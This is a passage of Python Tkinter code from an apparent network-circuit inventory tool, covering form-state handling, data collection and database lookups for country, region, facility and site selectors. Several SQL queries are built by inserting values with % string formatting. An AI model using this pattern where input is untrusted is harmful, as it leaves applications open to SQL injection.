self.CircuitPEIPAddressFrameEntry.insert(0,\"0.0.0.0\")\r\n\r\n self.CircuitPESwitchFrameEntry['state'] = 'normal'\r\n self.CircuitPESwitchFrameEntry.delete(0,END)\r\n\r\n self.CircuitPELocationFrameEntry['state'] = 'normal'\r\n self.CircuitPELocationFrameEntry.delete(0,END)\r\n\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'normal'\r\n self.CircuitMonthlyCostFrameEntry.delete(0,END)\r\n\r\n self.CircuitETFFrameEntry['state'] = 'normal'\r\n self.CircuitETFFrameEntry.delete(0,END)\r\n\r\n self.CircuitLEC1FrameEntry['state'] = 'normal'\r\n self.CircuitLEC1FrameEntry.delete(0,END)\r\n\r\n self.CircuitLEC2FrameEntry['state'] = 'normal'\r\n self.CircuitLEC2FrameEntry.delete(0,END)\r\n\r\n self.CircuitLEC3FrameEntry['state'] = 'normal'\r\n self.CircuitLEC3FrameEntry.delete(0,END)\r\n\r\n self.CircuitLEC4FrameEntry['state'] = 'normal'\r\n self.CircuitLEC4FrameEntry.delete(0,END)\r\n\r\n self.CircuitLEC5FrameEntry['state'] = 'normal'\r\n self.CircuitLEC5FrameEntry.delete(0,END)\r\n\r\n self.CircuitDMARK1FrameEntry['state'] = 'normal'\r\n self.CircuitDMARK1FrameEntry.delete(0,END)\r\n\r\n self.CircuitDMARK2FrameEntry['state'] = 'normal'\r\n self.CircuitDMARK2FrameEntry.delete(0,END)\r\n\r\n self.CircuitCEASNFrameEntry['state'] = 'normal'\r\n self.CircuitCEASNFrameEntry.delete(0,END)\r\n\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'normal'\r\n self.CircuitCEIPAddressFrameEntry.delete(0,END)\r\n self.CircuitCEIPAddressFrameEntry.insert(0,\"0.0.0.0\")\r\n\r\n # COST Entries (Float)\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'normal'\r\n self.CircuitMonthlyCostFrameEntry.delete(0,END)\r\n\r\n self.CircuitETFFrameEntry['state'] = 'normal'\r\n self.CircuitETFFrameEntry.delete(0,END)\r\n\r\n if (option == 'edit'): #<----------------------------------- EDIT Button\r\n self.ComboBoxCoutryID['state'] = ACTIVE\r\n self.ComboBoxRegionID['state'] = ACTIVE\r\n self.ComboBoxFacilityID['state'] = ACTIVE\r\n self.ComboBoxSitesID['state'] = ACTIVE\r\n\r\n #self.Get_Type_PortSpeed_and_Satus() # <------------------ I might have to modified it\r\n self.CircuitIDFrameEntry['state'] = 'readonly'\r\n self.CircuitsDescriptionFrameEntry['state'] = 'normal'\r\n # Calendars:\r\n self.CircuitsButtonInstalledDate['state'] = ACTIVE\r\n self.CircuitsButtonActivatedDate['state'] = ACTIVE\r\n self.CircuitsButtonDisconnectedDate['state'] = ACTIVE\r\n self.CircuitsButtonExpirationDate['state'] = ACTIVE\r\n\r\n self.CircuitsButtonInstalledDateClear['state'] = ACTIVE\r\n self.CircuitsButtonActivatedDateClear['state'] = ACTIVE\r\n self.CircuitsButtonExpirationDateClear['state'] = ACTIVE\r\n self.CircuitsButtonDisconnectedDateClear['state'] = ACTIVE\r\n\r\n self.CircuitsInstalledDateFrameEntry['state'] = 'readonly' \r\n self.CircuitsActivatedDateFrameEntry['state'] = 'readonly'\r\n self.CircuitsDisconnectedDateFrameEntry['state'] = 'readonly'\r\n self.CircuitsExpirationDateFrameEntry['state'] = 'readonly'\r\n\r\n # ComboBox:\r\n self.CircuitComboBoxTypeID['state'] = 'readonly'\r\n self.CircuitsComboBoxPortSpeed['state'] = 'readonly'\r\n self.CircuitsComboBoxStatus['state'] = 'readonly'\r\n self.CircuitComboBoxTerm['state'] = 'readonly'\r\n self.CircuitComboBoxCarrier['state'] = 'readonly'\r\n\r\n # Setup Labels and Entry\r\n self.CircuitsBandwidthFrameEntry['state'] = 'normal'\r\n self.CircuitTermFrameEntry['state'] = 'normal'\r\n self.CircuitsContractNoFrameEntry['state'] = 'normal'\r\n self.CircuitAccountNoFrameEntry['state'] = 'normal'\r\n self.CircuitOrderNoFrameEntry['state'] = 'normal'\r\n self.CircuitCEASNFrameEntry['state'] = 'normal'\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'normal'\r\n self.CircuitVLANNoFrameEntry['state'] = 'normal'\r\n self.CircuitNPANXXFrameEntry['state'] = 'normal'\r\n self.CircuitPEASNFrameEntry['state'] = 'normal'\r\n self.CircuitPEIPAddressFrameEntry['state'] = 'normal'\r\n self.CircuitPESwitchFrameEntry['state'] = 'normal'\r\n self.CircuitPELocationFrameEntry['state'] = 'normal'\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'normal'\r\n self.CircuitETFFrameEntry['state'] = 'normal'\r\n self.CircuitLEC1FrameEntry['state'] = 'normal'\r\n self.CircuitLEC2FrameEntry['state'] = 'normal'\r\n self.CircuitLEC3FrameEntry['state'] = 'normal'\r\n self.CircuitLEC4FrameEntry['state'] = 'normal'\r\n self.CircuitLEC5FrameEntry['state'] = 'normal'\r\n self.CircuitDMARK1FrameEntry['state'] = 'normal'\r\n self.CircuitDMARK2FrameEntry['state'] = 'normal'\r\n self.CircuitCEASNFrameEntry['state'] = 'normal'\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'normal'\r\n\r\n # COST Entries (Float)\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'normal'\r\n self.CircuitETFFrameEntry['state'] = 'normal'\r\n \r\n \r\n def Disable_Screen(self):\r\n # This function is used when the entry was added.modified to the Database\r\n\r\n #self.CircuitsBusinessUnitPowerCheckbutton.select()\r\n #print (self.varpower.get())\r\n\r\n self.ComboBoxCoutryID['state'] = 'readonly'\r\n self.ComboBoxRegionID['state'] = 'readonly'\r\n self.ComboBoxFacilityID['state'] = 'readonly'\r\n self.ComboBoxSitesID['state'] = 'readonly'\r\n if (Is_Country_Available):\r\n self.ButtonCountryAdd['state'] = ACTIVE\r\n self.ButtonCountryRefresh['state'] = ACTIVE\r\n if (Is_Region_Available):\r\n self.ButtonRegionAdd['state'] = ACTIVE\r\n self.ButtonRegionRefresh['state'] = ACTIVE\r\n if (Is_Facility_Available):\r\n self.ButtonFacilityAdd['state'] = ACTIVE\r\n self.ButtonFacilityRefresh['state'] = ACTIVE\r\n if (Is_Sites_Available):\r\n self.ButtonSitesAdd['state'] = ACTIVE\r\n self.ButtonSitesRefresh['state'] = ACTIVE\r\n \r\n self.ButtonCircuitsAdd['state'] = ACTIVE\r\n self.ButtonCircuitsEdit['state'] = DISABLED\r\n self.ButtonCircuitsRemove['state'] = DISABLED\r\n self.ButtonCircuitsOK['state'] = DISABLED\r\n self.ButtonCircuitsCancel['state'] = DISABLED \r\n self.ButtonDevicePingPE64['state'] = DISABLED\r\n self.ButtonDevicePingPE1500['state'] = DISABLED\r\n self.ButtonDevicePingCE64['state'] = DISABLED\r\n self.ButtonDevicePingCE1500['state'] = DISABLED\r\n self.ButtonDeviceCircuits['state'] = DISABLED\r\n self.ButtonDeviceTraceroutePE['state'] = DISABLED\r\n self.ButtonDeviceTracerouteCE['state'] = DISABLED\r\n self.ButtonDeviceLocalPointOfContacts['state'] = DISABLED\r\n\r\n '''\r\n # Create Progress Bar\r\n self.progress['maximum'] = 100\r\n self.progress['value'] = 0\r\n\r\n # Setup Labels and Entry\r\n self.CircuitIDFrameEntry['state'] = 'readonly' \r\n self.CircuitsDescriptionFrameEntry['state'] = 'readonly'\r\n self.CircuitComboBoxTypeID['state'] = 'readonly'\r\n self.CircuitsComboBoxPortSpeed['state'] = 'readonly'\r\n self.CircuitsComboBoxStatus['state'] = 'readonly'\r\n self.CircuitsBandwidthFrameEntry['state'] = 'readonly'\r\n self.CircuitsInstalledDateFrameEntry['state'] = 'readonly'\r\n self.CircuitsContractNoFrameEntry['state'] = 'readonly'\r\n self.CircuitsExpirationDateFrameEntry['state'] = 'readonly'\r\n self.CircuitsActivatedDateFrameEntry['state'] = 'readonly'\r\n self.CircuitCEASNFrameEntry['state'] = 'readonly'\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'readonly'\r\n self.CircuitsDisconnectedDateFrameEntry['state'] = 'readonly'\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'readonly'\r\n self.CircuitETFFrameEntry['state'] = 'readonly'\r\n self.CircuitDMARK1FrameEntry['state'] = 'readonly'\r\n # Calendars:\r\n self.CircuitsButtonInstalledDate['state'] = DISABLED\r\n self.CircuitsButtonActivatedDate['state'] = DISABLED\r\n self.CircuitsButtonDisconnectedDate['state'] = DISABLED\r\n self.CircuitsButtonExpirationDate['state'] = DISABLED\r\n # Combobox:\r\n self.CircuitComboBoxTypeID['state'] = DISABLED\r\n self.CircuitsComboBoxPortSpeed['state'] = DISABLED\r\n self.CircuitsComboBoxStatus['state'] = DISABLED\r\n '''\r\n#################3\r\n\r\n #self.Get_Type_PortSpeed_and_Satus() # <------------------ I might have to modified it\r\n self.CircuitIDFrameEntry['state'] = 'readonly'\r\n self.CircuitsDescriptionFrameEntry['state'] = 'readonly'\r\n # Calendars:\r\n self.CircuitsButtonInstalledDate['state'] = DISABLED\r\n self.CircuitsButtonActivatedDate['state'] = DISABLED\r\n self.CircuitsButtonDisconnectedDate['state'] = DISABLED\r\n self.CircuitsButtonExpirationDate['state'] = DISABLED\r\n\r\n self.CircuitsButtonInstalledDateClear['state'] = DISABLED\r\n self.CircuitsButtonActivatedDateClear['state'] = DISABLED\r\n self.CircuitsButtonExpirationDateClear['state'] = DISABLED\r\n self.CircuitsButtonDisconnectedDateClear['state'] = DISABLED\r\n\r\n self.CircuitsInstalledDateFrameEntry['state'] = 'readonly' \r\n self.CircuitsActivatedDateFrameEntry['state'] = 'readonly'\r\n self.CircuitsDisconnectedDateFrameEntry['state'] = 'readonly'\r\n self.CircuitsExpirationDateFrameEntry['state'] = 'readonly'\r\n\r\n # ComboBox:\r\n self.CircuitComboBoxTypeID['state'] = 'disabled'\r\n self.CircuitsComboBoxPortSpeed['state'] = 'disabled'\r\n self.CircuitsComboBoxStatus['state'] = 'disabled'\r\n self.CircuitComboBoxTerm['state'] = 'disabled'\r\n self.CircuitComboBoxCarrier['state'] = 'disabled'\r\n\r\n # Setup Labels and Entry\r\n self.CircuitsBandwidthFrameEntry['state'] = 'readonly'\r\n self.CircuitTermFrameEntry['state'] = 'readonly'\r\n self.CircuitsContractNoFrameEntry['state'] = 'readonly'\r\n self.CircuitAccountNoFrameEntry['state'] = 'readonly'\r\n self.CircuitOrderNoFrameEntry['state'] = 'readonly'\r\n self.CircuitCEASNFrameEntry['state'] = 'readonly'\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'readonly'\r\n self.CircuitVLANNoFrameEntry['state'] = 'readonly'\r\n self.CircuitNPANXXFrameEntry['state'] = 'readonly'\r\n self.CircuitPEASNFrameEntry['state'] = 'readonly'\r\n self.CircuitPEIPAddressFrameEntry['state'] = 'readonly'\r\n self.CircuitPESwitchFrameEntry['state'] = 'readonly'\r\n self.CircuitPELocationFrameEntry['state'] = 'readonly'\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'readonly'\r\n self.CircuitETFFrameEntry['state'] = 'readonly'\r\n self.CircuitLEC1FrameEntry['state'] = 'readonly'\r\n self.CircuitLEC2FrameEntry['state'] = 'readonly'\r\n self.CircuitLEC3FrameEntry['state'] = 'readonly'\r\n self.CircuitLEC4FrameEntry['state'] = 'readonly'\r\n self.CircuitLEC5FrameEntry['state'] = 'readonly'\r\n self.CircuitDMARK1FrameEntry['state'] = 'readonly'\r\n self.CircuitDMARK2FrameEntry['state'] = 'readonly'\r\n self.CircuitCEASNFrameEntry['state'] = 'readonly'\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'readonly'\r\n\r\n # COST Entries (Float)\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'readonly'\r\n self.CircuitETFFrameEntry['state'] = 'readonly'\r\n\r\n\r\n##################\r\n \r\n\r\n def Collect_Screen(self):\r\n # This function is used when the ADD button is selected\r\n\r\n self.CountryID = self.CountryIDArray[self.ComboBoxCoutryID.current()]\r\n self.RegionID = self.RegionIDArray[self.ComboBoxRegionID.current()]\r\n self.FacilityID = self.FacilityIDArray[self.ComboBoxFacilityID.current()]\r\n self.SitesID = self.SitesIDArray[self.ComboBoxSitesID.current()]\r\n \r\n self.CircuitsID = self.CircuitIDFrameEntry.get()\r\n self.Description = self.CircuitsDescriptionFrameEntry.get() \r\n\r\n # Calendars:\r\n self.CircuitsButtonInstalledDate['state'] = ACTIVE\r\n self.CircuitsButtonActivatedDate['state'] = ACTIVE\r\n self.CircuitsButtonDisconnectedDate['state'] = ACTIVE\r\n self.CircuitsButtonExpirationDate['state'] = ACTIVE\r\n\r\n self.CircuitsButtonInstalledDateClear['state'] = ACTIVE\r\n self.CircuitsButtonActivatedDateClear['state'] = ACTIVE\r\n self.CircuitsButtonExpirationDateClear['state'] = ACTIVE\r\n self.CircuitsButtonDisconnectedDateClear['state'] = ACTIVE\r\n\r\n self.CircuitsInstalledDate = self.CircuitsInstalledDateFrameEntry.get() \r\n if (len(self.CircuitsInstalledDate) > 0):\r\n self.CircuitsInstalledDate = str(self.CircuitsInstalledData['month_selected']) + '/' + str(self.CircuitsInstalledData['day_selected']) + '/' + str(self.CircuitsInstalledData['year_selected'])\r\n self.CircuitsInstalledMonth = self.CircuitsInstalledData['month_selected']\r\n self.CircuitsInstalledDay = self.CircuitsInstalledData['day_selected']\r\n self.CircuitsInstalledYear = self.CircuitsInstalledData['year_selected']\r\n else:\r\n self.CircuitsInstalledDate = \"\"\r\n self.CircuitsInstalledMonth = \"0\"\r\n self.CircuitsInstalledDay = \"0\"\r\n self.CircuitsInstalledYear = \"0\"\r\n\r\n self.CircuitsActivatedDate = self.CircuitsActivatedDateFrameEntry.get() \r\n if (len(self.CircuitsActivatedDate) > 0):\r\n self.CircuitsActivatedDate = str(self.CircuitsActivatedData['month_selected']) + '/' + str(self.CircuitsActivatedData['day_selected']) + '/' + str(self.CircuitsActivatedData['year_selected'])\r\n self.CircuitsActivatedMonth = self.CircuitsActivatedData['month_selected']\r\n self.CircuitsActivatedDay = self.CircuitsActivatedData['day_selected']\r\n self.CircuitsActivatedYear = self.CircuitsActivatedData['year_selected']\r\n else:\r\n self.CircuitsActivatedDate = \"\"\r\n self.CircuitsActivatedMonth = \"0\"\r\n self.CircuitsActivatedDay = \"0\"\r\n self.CircuitsActivatedYear = \"0\"\r\n\r\n self.CircuitsDisconnectedDate = self.CircuitsDisconnectedDateFrameEntry.get() \r\n if (len(self.CircuitsDisconnectedDate) > 0):\r\n self.CircuitsDisconnectedDate = str(self.CircuitsDisconnectedData['month_selected']) + '/' + str(self.CircuitsDisconnectedData['day_selected']) + '/' + str(self.CircuitsDisconnectedData['year_selected'])\r\n self.CircuitsDisconnectedMonth = self.CircuitsDisconnectedData['month_selected']\r\n self.CircuitsDisconnectedDay = self.CircuitsDisconnectedData['day_selected']\r\n self.CircuitsDisconnectedYear = self.CircuitsDisconnectedData['year_selected']\r\n else:\r\n self.CircuitsDisconnectedDate = \"\"\r\n self.CircuitsDisconnectedMonth = \"0\"\r\n self.CircuitsDisconnectedDay = \"0\"\r\n self.CircuitsDisconnectedYear = \"0\"\r\n \r\n self.CircuitsExpirationDate = self.CircuitsExpirationDateFrameEntry.get() \r\n if (len(self.CircuitsExpirationDate) > 0):\r\n self.CircuitsExpirationDate = str(self.CircuitsExpirationData['month_selected']) + '/' + str(self.CircuitsExpirationData['day_selected']) + '/' + str(self.CircuitsExpirationData['year_selected'])\r\n self.CircuitsExpirationMonth = self.CircuitsExpirationData['month_selected']\r\n self.CircuitsExpirationDay = self.CircuitsExpirationData['day_selected']\r\n self.CircuitsExpirationYear = self.CircuitsExpirationData['year_selected']\r\n else:\r\n self.CircuitsExpirationDate = \"\"\r\n self.CircuitsExpirationMonth = \"0\"\r\n self.CircuitsExpirationDay = \"0\"\r\n self.CircuitsExpirationYear = \"0\"\r\n\r\n # Comboboxes:\r\n self.CircuitsTypeID = self.CircuitTypeIDArray[self.CircuitComboBoxTypeID.current()] \r\n self.CircuitsPortID = self.CircuitPortSpeedIDArray[self.CircuitsComboBoxPortSpeed.current()]\r\n self.Circuitstatus = self.CircuitstatusValues[self.CircuitsComboBoxStatus.current()]\r\n self.CircuitsCarrier = self.CircuitCarrierIDArray[self.CircuitComboBoxCarrier.current()]\r\n self.CircuitsTermTime = self.CircuitTermValues[self.CircuitComboBoxTerm.current()]\r\n\r\n # Setup Labels and Entry \r\n self.CircuitsBandwidth = self.CircuitsBandwidthFrameEntry.get()\r\n self.CircuitTerm = self.CircuitTermFrameEntry.get()\r\n self.CircuitsContractNo = self.CircuitsContractNoFrameEntry.get()\r\n self.CircuitAccountNo = self.CircuitAccountNoFrameEntry.get()\r\n self.CircuitOrderNo = self.CircuitOrderNoFrameEntry.get()\r\n self.CircuitCEASN = self.CircuitCEASNFrameEntry.get()\r\n self.CircuitCEIPAddress = self.CircuitCEIPAddressFrameEntry.get()\r\n self.CircuitVLANNo = self.CircuitVLANNoFrameEntry.get()\r\n self.CircuitNPANXX = self.CircuitNPANXXFrameEntry.get()\r\n self.CircuitPEASN = self.CircuitPEASNFrameEntry.get()\r\n self.CircuitPEIPAddress = self.CircuitPEIPAddressFrameEntry.get()\r\n self.CircuitPESwitch = self.CircuitPESwitchFrameEntry.get()\r\n self.CircuitPELocation = self.CircuitPELocationFrameEntry.get()\r\n self.CircuitMonthlyCost = self.CircuitMonthlyCostFrameEntry.get()\r\n self.CircuitLEC1 = self.CircuitLEC1FrameEntry.get()\r\n self.CircuitLEC2 = self.CircuitLEC2FrameEntry.get()\r\n self.CircuitLEC3 = self.CircuitLEC3FrameEntry.get()\r\n self.CircuitLEC4 = self.CircuitLEC4FrameEntry.get()\r\n self.CircuitLEC5 = self.CircuitLEC5FrameEntry.get()\r\n self.CircuitDMARK1 = self.CircuitDMARK1FrameEntry.get()\r\n self.CircuitDMARK2 = self.CircuitDMARK2FrameEntry.get()\r\n self.CircuitCEASN = self.CircuitCEASNFrameEntry.get()\r\n self.CircuitCEIPAddress = self.CircuitCEIPAddressFrameEntry.get()\r\n\r\n # COST Entries (Float)\r\n if (len(self.CircuitMonthlyCostFrameEntry.get()) > 0): \r\n self.CircuitMonthlyCost = float(self.CircuitMonthlyCostFrameEntry.get())\r\n else:\r\n self.CircuitMonthlyCost = 0\r\n \r\n if (len(self.CircuitETFFrameEntry.get()) > 0): \r\n self.CircuitETF = float(self.CircuitETFFrameEntry.get())\r\n else:\r\n self.CircuitETF = 0\r\n\r\n '''\r\n self.CircuitsIPAddress = self.CircuitsBandwidthFrameEntry.get() \r\n self.CircuitsContract = self.CircuitsContractNoFrameEntry.get()\r\n self.CircuitserialNo = self.CircuitCEASNFrameEntry.get()\r\n self.CircuitsMACAddress = self.CircuitCEIPAddressFrameEntry.get()\r\n if (len(self.CircuitMonthlyCostFrameEntry.get()) > 0):\r\n self.CircuitsOutSourceCost = float(self.CircuitMonthlyCostFrameEntry.get())\r\n else:\r\n self.CircuitsOutSourceCost = 0\r\n if (len(self.CircuitETFFrameEntry.get()) > 0): \r\n self.CircuitETF = float(self.CircuitETFFrameEntry.get())\r\n else:\r\n self.CircuitETF = 0\r\n self.CircuitDMARK1 = self.CircuitDMARK1FrameEntry.get()\r\n '''\r\n\r\n#****************************************************************************************\r\n#---------------------------- SCREEN SELECTION SECTION ------------------------*\r\n#****************************************************************************************\r\n\r\n\r\n#****************************************************************************************\r\n#---------------------------- COUNTRY SELECTION SECTION ------------------------*\r\n#****************************************************************************************\r\n\r\n def Display_Country_Window(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','OPEN Country Window'] \r\n Logging.Log(Parameter) \r\n Country.Display_Country_Window()\r\n\r\n def on_country_combo_changed(self,event):\r\n #print (event)\r\n self.Clean_Screen('country','country-combo')\r\n if self.db.Connect():\r\n # SQL Querry to the Circuits Table\r\n sql = \"\"\"\r\n SELECT * FROM Region\r\n WHERE Country_ID = '%s'\r\n \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()])\r\n #print (sql)\r\n if (Is_Region_Available):\r\n self.ButtonRegionAdd['state'] = ACTIVE\r\n self.ButtonRegionRefresh['state'] = ACTIVE\r\n if (self.db.Execute(sql)):\r\n #print (\"found it\")\r\n i = 0\r\n self.progress['maximum'] = len(self.db.results)\r\n self.RegionIDArray = []\r\n self.RegionNameArray = []\r\n while (i < len(self.db.results)):\r\n num = i + 1\r\n self.RegionIDArray.append(self.db.results[i][2].strip())\r\n self.RegionNameArray.append(self.db.results[i][3].strip())\r\n i = i + 1\r\n self.progress['value'] = i\r\n self.ComboBoxRegionID['values'] = self.RegionNameArray\r\n if (len(self.RegionNameArray)== 0):\r\n self.ComboBoxRegionID['state'] = DISABLED\r\n self.ComboBoxFacilityID['state'] = DISABLED\r\n else:\r\n self.ComboBoxRegionID['state'] = 'readonly'\r\n self.ComboBoxRegionID.set(\"\")\r\n self.ComboBoxFacilityID.set(\"\")\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = 'No Records found')\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n + 'Please make sure the ODBC DSN Name mathes: ['\r\n + self.ODBC_name + \"]\")\r\n\r\n \r\n def on_Country_Table_Refresh(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','REFRESH Country Window'] \r\n Logging.Log(Parameter) \r\n if self.db.Connect(): \r\n self.CountryIDArray = []\r\n self.CountryNameArray = [] \r\n\r\n # SQL Querry to the Circuits Table\r\n self.progress['maximum'] = 100\r\n self.progress['value'] = 0\r\n if (self.Selection == 'cancel_edit'):\r\n sql = \"\"\"\r\n SELECT * FROM Country\r\n WHERE Country_ID = '%s'\r\n \"\"\" % (self.CountryID_Pre)\r\n else:\r\n sql = \"\"\" SELECT * FROM COUNTRY ORDER BY Country_Name ASC \"\"\"\r\n if (self.db.Execute(sql)):\r\n self.sql_querry = True\r\n i = 0\r\n self.progress['maximum'] = len(self.db.results)\r\n while (i < len(self.db.results)):\r\n num = i + 1\r\n self.CountryIDArray.append(self.db.results[i][0].strip())\r\n self.CountryNameArray.append(self.db.results[i][1].strip())\r\n i = i + 1\r\n self.progress['value'] = i\r\n self.ComboBoxCoutryID['values'] = self.CountryNameArray\r\n if (len(self.CountryNameArray)== 0):\r\n self.ComboBoxCoutryID['state'] = DISABLED\r\n else:\r\n #self.ComboBoxCoutryID['state'] = 'readonly'\r\n #self.ComboBoxCoutryID.set(\"\")\r\n self.Clean_Screen('country','all')\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = 'No Country Records found')\r\n self.sql_querry = False\r\n ##self.db.Disconnect()\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n + 'Please make sure the ODBC DSN Name mathes: ['\r\n + self.ODBC_name + \"]\")\r\n \r\n\r\n#**************************************************************************************\r\n#---------------------------- COUNTRY SELECTION SECTION ------------------------*\r\n#**************************************************************************************\r\n\r\n#***************************************************************************************\r\n#---------------------------- REGION SELECTION SECTION ------------------------*\r\n#***************************************************************************************\r\n \r\n def Display_Region_Window(self): \r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','OPEN Region Window'] \r\n Logging.Log(Parameter) \r\n Region.Display_Region_Window()\r\n\r\n def on_region_combo_changed(self,event):\r\n self.Clean_Screen('region','region-combo')\r\n if self.db.Connect():\r\n # SQL Querry to the Circuits Table\r\n sql = \"\"\"\r\n SELECT * FROM Facility\r\n WHERE Country_ID = '%s' AND Region_ID = '%s'\r\n ORDER BY Facility_Name ASC\r\n \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()],self.RegionIDArray[self.ComboBoxRegionID.current()])\r\n #print (sql)\r\n if (Is_Facility_Available):\r\n self.ButtonFacilityAdd['state'] = ACTIVE\r\n self.ButtonFacilityRefresh['state'] = ACTIVE\r\n if (self.db.Execute(sql)):\r\n #print (\"found it\")\r\n i = 0\r\n self.progress['maximum'] = len(self.db.results)\r\n self.FacilityIDArray = []\r\n self.FacilityNameArray = []\r\n while (i < len(self.db.results)):\r\n num = i + 1\r\n self.FacilityIDArray.append(self.db.results[i][3].strip())\r\n self.FacilityNameArray.append(self.db.results[i][4].strip())\r\n i = i + 1\r\n self.progress['value'] = i\r\n self.ComboBoxFacilityID['values'] = self.FacilityNameArray\r\n if (len(self.FacilityNameArray)== 0):\r\n self.ComboBoxFacilityID['state'] = DISABLED\r\n else:\r\n self.ComboBoxFacilityID['state'] = 'readonly'\r\n self.ComboBoxFacilityID.set(\"\")\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = 'No Records found')\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n + 'Please make sure the ODBC DSN Name mathes: ['\r\n + self.ODBC_name + \"]\")\r\n\r\n def on_Region_Table_Refresh(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','REFRESH Region Window'] \r\n Logging.Log(Parameter) \r\n self.Clean_Screen('region','all')\r\n if self.db.Connect():\r\n # SQL Querry to the Circuits Table\r\n if (self.Selection == 'cancel_edit'):\r\n sql = \"\"\"\r\n SELECT * FROM Region\r\n WHERE Country_ID = '%s' AND Region_ID = '%s'\r\n \"\"\" % (self.CountryID_Pre,self.RegionID_Pre)\r\n else:\r\n sql = \"\"\"\r\n SELECT * FROM Region\r\n WHERE Country_ID = '%s'\r\n \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()])\r\n #print (sql)\r\n if (self.db.Execute(sql)):\r\n #print (\"found it\")\r\n self.sql_querry = True\r\n i = 0\r\n self.progress['maximum'] = len(self.db.results)\r\n self.RegionIDArray = []\r\n self.RegionNameArray = []\r\n while (i < len(self.db.results)):\r\n num = i + 1\r\n self.RegionIDArray.append(self.db.results[i][2].strip())\r\n self.RegionNameArray.append(self.db.results[i][3].strip())\r\n i = i + 1\r\n self.progress['value'] = i\r\n self.ComboBoxRegionID['values'] = self.RegionNameArray\r\n if (len(self.RegionNameArray)== 0):\r\n self.ComboBoxRegionID['state'] = DISABLED\r\n self.ComboBoxFacilityID['state'] = DISABLED\r\n else:\r\n self.ComboBoxRegionID['state'] = 'readonly'\r\n self.ComboBoxRegionID.set(\"\")\r\n if (Is_Region_Available):\r\n self.ButtonRegionAdd['state'] = 'active'\r\n self.ButtonRegionRefresh['state'] = 'active'\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = 'No Records found')\r\n self.sql_querry = False\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n + 'Please make sure the ODBC DSN Name mathes: ['\r\n + self.ODBC_name + \"]\")\r\n \r\n#*************************************************************************************\r\n#---------------------------- REGION SELECTION SECTION ------------------------*\r\n#*************************************************************************************\r\n\r\n\r\n#***************************************************************************************\r\n#---------------------------- FACILITY SELECTION SECTION ------------------------*\r\n#***************************************************************************************\r\n \r\n def Display_Facility_Window(self): \r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','OPEN Facility Window'] \r\n Logging.Log(Parameter) \r\n Facility.Display_Facility_Window()\r\n\r\n def on_facility_combo_changed(self,event):\r\n self.Clean_Screen('facility','facility-combo')\r\n if self.db.Connect():\r\n # SQL Querry to the Circuits Table\r\n sql = \"\"\"\r\n SELECT * FROM Sites\r\n WHERE Country_ID = '%s' AND Region_ID = '%s' AND Facility_ID = '%s'\r\n \"\"\" % (self.CountryIDArray[self.ComboBoxCoutryID.current()],self.RegionIDArray[self.ComboBoxRegionID.current()],\r\n self.FacilityIDArray[self.ComboBoxFacilityID.current()])\r\n #print (sql)\r\n if (Is_Sites_Available):\r\n self.ButtonSitesAdd['state'] = ACTIVE\r\n self.ButtonSitesRefresh['state'] = ACTIVE\r\n if (self.db.Execute(sql)):\r\n self.SitesIDArray = []\r\n self.SitesNameArray = []\r\n i = 0\r\n while (i < len(self.db.results)):\r\n num = i + 1\r\n self.SitesIDArray.append(self.db.results[i][4].strip())\r\n self.SitesNameArray.append(self.db.results[i][5].strip())\r\n i = i + 1\r\n self.progress['value'] = i\r\n self.ComboBoxSitesID['values'] = self.SitesNameArray\r\n if (len(self.SitesNameArray)== 0):\r\n self.ComboBoxSitesID['state'] = DISABLED\r\n else:\r\n self.ComboBoxSitesID['state'] = 'readonly'\r\n self.ComboBoxSitesID.set(\"\")\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = 'No Records found')\r\n else:\r\n mbox.showerror(master=self.CircuitsFrame,title='Circuits',\r\n message = '*** ERROR *** - THE ODBC Connection was NOT Succesful, \\r\\n'\r\n + 'Please make sure the ODBC DSN Name mathes: ['\r\n + self.ODBC_name + \"]\")\r\n\r\n def on_Facility_Table_Refresh(self):\r\n if Is_logging_Available:\r\n Parameter = []\r\n Parameter = ['Circuits','REFRESH Facility Window'] \r\n Logging.Log(Parameter) \r\n self.Clean_Screen('facility','all')\r\n if self.db.Connect():\r\n # SQL Querry to the Circuits Table\r\n if (self.Selection == 'cancel_edit'):\r\n sql = \"\"\"\r\n SELECT * FROM Facility\r\n WHERE Country_ID = '%s' AND Region_ID = '%s' AND Facility_ID = '%s'\r\n \"\"\" % (self.CountryID_Pre,self.RegionID_Pre,self.FacilityID_Pre)\r\n else:\r\n sql = 